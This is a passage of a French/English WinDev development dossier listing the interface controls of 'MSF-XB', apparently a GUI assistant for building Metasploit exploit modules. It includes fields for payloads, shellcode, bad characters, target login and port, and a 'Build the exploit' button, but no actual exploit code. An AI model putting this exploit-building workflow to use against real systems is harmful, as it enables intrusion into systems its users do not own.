Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 482: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 487

Combo : ONG_Onglet1.COMBO_Transformation

Note pour le dossier

FR,GB: FR,GB:

Contenu initial FR,GB: hex2asm hex2byte byte2hex xor

Ordre navigation 65Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 121Larg. déroulée perso. NonHauteur ligne 15Altitude 2Retrait gauche 2Position X interne 65Largeur interne 121

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections Non

Page 483: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 488

gLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : DEBUGGER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: DEBOGUEURGB: DEBUGGER

Ordre navigation 16Curseur survol 0On/Off Non

Altitude 7

Bulle d'aide FR: Lance votre debogueurGB: Starts your debugger

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0

Page 484: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 489

Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : ONG_Onglet1.GO

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: GénérerGB: Generate

Ordre navigation 98Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR: Construire l'exploitGB: Build the exploit

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 485: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 490

Image : ONG_Onglet1.IMG_Image1

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\SecurInfos_BLACK.JPGCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 19

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Interrupteur : ONG_Onglet1.INT_AUTO_JAVASCRIPT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &InterrupteurGB: Check box

Valeur initiale 0Groupe GR_HTTPOrdre navigation 99Curseur survol 0

Page 486: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 491

Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 4

Numéro aide 0

Opacité 100

Options FR: Détection automatique de la cible par JavaScript (os_detect.js)GB: Automatic detection of the target via JavaScript (os_detect.js)

Valeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_BUFFER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Buffer = #{msg}Curseur survol 0Synchro Infos Partagées Non

Altitude 40

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Page 487: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 492

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_CommentPayload

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: CommentaireGB: Static

Curseur survol 0Synchro Infos Partagées Non

Altitude 12

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 488: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 493

Libellé : ONG_Onglet1.LIB_Curseur

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: CurseurGB: Cursor

Curseur survol 0Synchro Infos Partagées Non

Altitude 36

Bulle d'aide FR: Position du curseurGB: Cursor's position

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_INT3

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: INT3 = \xccCurseur survol 0Synchro Infos Partagées Non

Altitude 20

Numéro aide 0

Page 489: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 494

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_Libellé1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: BRUT peut valoir: rand_text_alphanumericGB: RAW could be: rand_text_alphanumeric

Curseur survol 0Synchro Infos Partagées Non

Altitude 6

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 490: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 495

Libellé : ONG_Onglet1.LIB_Payload

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: PayloadCurseur survol 0Synchro Infos Partagées Non

Altitude 14

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_Selection

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: SélectionGB: Selection

Curseur survol 0Synchro Infos Partagées Non

Altitude 37

Bulle d'aide FR: Taille sélectionnéeGB: Length selected

Numéro aide 0

Page 491: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 496

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_Shellcode

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: ShellcodeCurseur survol 0Synchro Infos Partagées Non

Altitude 16

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 492: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 497

Libellé : ONG_Onglet1.LIB_SizePayload

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Taille payload généréGB:

Curseur survol 0Synchro Infos Partagées Non

Altitude 11

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_Taille_Pattern

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Taille: 0GB: Size: 0

Curseur survol 0Synchro Infos Partagées Non

Altitude 16

Numéro aide 0

Opacité 100

Page 493: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 498

Mode ellipse <Aucun>Unicode Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_Taille_Pattern2

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Taille/2: 0GB: Size/2: 0

Curseur survol 0Synchro Infos Partagées Non

Altitude 33

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 494: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 499

Libellé : ONG_Onglet1.LIB_Taille_Pattern3

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Taille/3: 0GB: Size/3: 0

Curseur survol 0Synchro Infos Partagées Non

Altitude 28

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_Taille_Pattern4

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Taille/4: 0GB: Size/4: 0

Curseur survol 0Synchro Infos Partagées Non

Altitude 29

Numéro aide 0

Opacité 100

Page 495: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 500

Mode ellipse <Aucun>Unicode Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Libellé : ONG_Onglet1.LIB_Taille_Pattern5

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Taille/5: 0GB: Size/5: 0

Curseur survol 0Synchro Infos Partagées Non

Altitude 34

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 496: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 501

Libellé : ONG_Onglet1.LIB_Taille_Pattern6

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Taille/6: 0GB: Size/6: 0

Curseur survol 0Synchro Infos Partagées Non

Altitude 35

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Onglet : ONG_Onglet1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &OngletGB: Tab

Valeur initiale 1Ordre navigation 1Curseur survol 0

Altitude 4

Numéro aide 0

Page 497: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 502

Valeur persistante Oui

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Tab_Top.gifNb. états image 1Image 3 images Oui

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.PAYLOAD_BADCHARS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: BadcharsValeur initiale FR,GB: \x00\x09\x0b\x0cOrdre navigation 57Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 2Retrait gauche 2Position X interne 397Largeur interne 428

Bulle d'aide FR: Liste des caractères interdits (Format=\x00\x01)GB: List of badchars (Format=\x00\x01)

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>

Page 498: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 503

Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.PAYLOAD_BADPHRASE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Retour du serveur en cas de filtrageGB: Response of the server if filters on

Ordre navigation 58Curseur survol 0Synchro Infos Partagées NonTexte conseil si vide FR,GB: Forbidden Code Execution AttemptTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 397Largeur interne 428

Bulle d'aide FR: Phrase renvoyée par le serveur en cas de détection de caractères interditsGB: Sentence returned by the server when it detects forbidden characters

Page 499: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 504

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: MSF-XB Assistant - Jérôme ATHIAS - https://www.securinfos.infoGB: MSF-XB Assistant - Jerome Athias - https://www.securinfos.info

Curseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Page 500: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 505

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.RHOST

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: IP de testGB: IP to test

Ordre navigation 24Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 14Retrait gauche 2Position X interne 576Largeur interne 110

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical Non

Page 501: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 506

Avec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.RPASS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Mot de passeGB: Password

Ordre navigation 27Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 13Retrait gauche 2Position X interne 576Largeur interne 110

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique Non

Page 502: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 507

Verifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.RPORT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Port par défautGB: Default port

Ordre navigation 23Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 15Retrait gauche 2Position X interne 431Largeur interne 63

Numéro aide 0

Opacité 100

Saisie manuscrite Non

Page 503: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 508

Taille de saisie 0Masque saisie FR,GB: ¤+999 999Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.RUSER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: UtilisateurGB: Login

Ordre navigation 26Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 16Retrait gauche 2Position X interne 402Largeur interne 92

Page 504: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 509

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_ADRESSE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: AdresseGB: Address

Groupe GR_SPACEOrdre navigation 54Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. Gauche

Page 505: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 510

Altitude 8Retrait gauche 2Position X interne 80Largeur interne 86

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 506: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 511

Champ de saisie : ONG_Onglet1.SAI_APPLICATION

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: ApplicationGroupe GR_INFO_PROCESSOrdre navigation 31Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 10Retrait gauche 2Position X interne 348Largeur interne 450

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 507: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 512

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_ASCII1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: ASCII deGB: ASCII from

Ordre navigation 47Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 10Retrait gauche 2Position X interne 88Largeur interne 29

Bulle d'aide FR: Premier code ASCIIGB: First ASCII code

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Borne max. 255Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal Non

Page 508: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 513

Asc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_ASCII2

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: àGB: to

Ordre navigation 48Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 9Retrait gauche 2Position X interne 139Largeur interne 29

Bulle d'aide FR: Dernier code ASCIIGB: Last ASCII code

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0

Page 509: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 514

Masque saisie FR,GB: ¤999Borne max. 255Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_ASM

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Dernière instruction ASMGB: Last ASM instruction

Ordre navigation 73Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 2Retrait gauche 2Position X interne 205

Page 510: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 515

Largeur interne 562

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_Analyse

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Analyse :GB: Analysis :

Ordre navigation 74Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Page 511: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 516

Cadrage horz. GaucheAltitude 3Retrait gauche 2Position X interne 205Largeur interne 562

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical OuiAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 512: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 517

Champ de saisie : ONG_Onglet1.SAI_BANNIERE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: BannièreGB: Banner

Groupe GR_BANNIEREOrdre navigation 32Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 9Retrait gauche 2Position X interne 348Largeur interne 450

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Page 513: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 518

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_BANNIERE_HEX

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Entête HexaGB: Hex banner

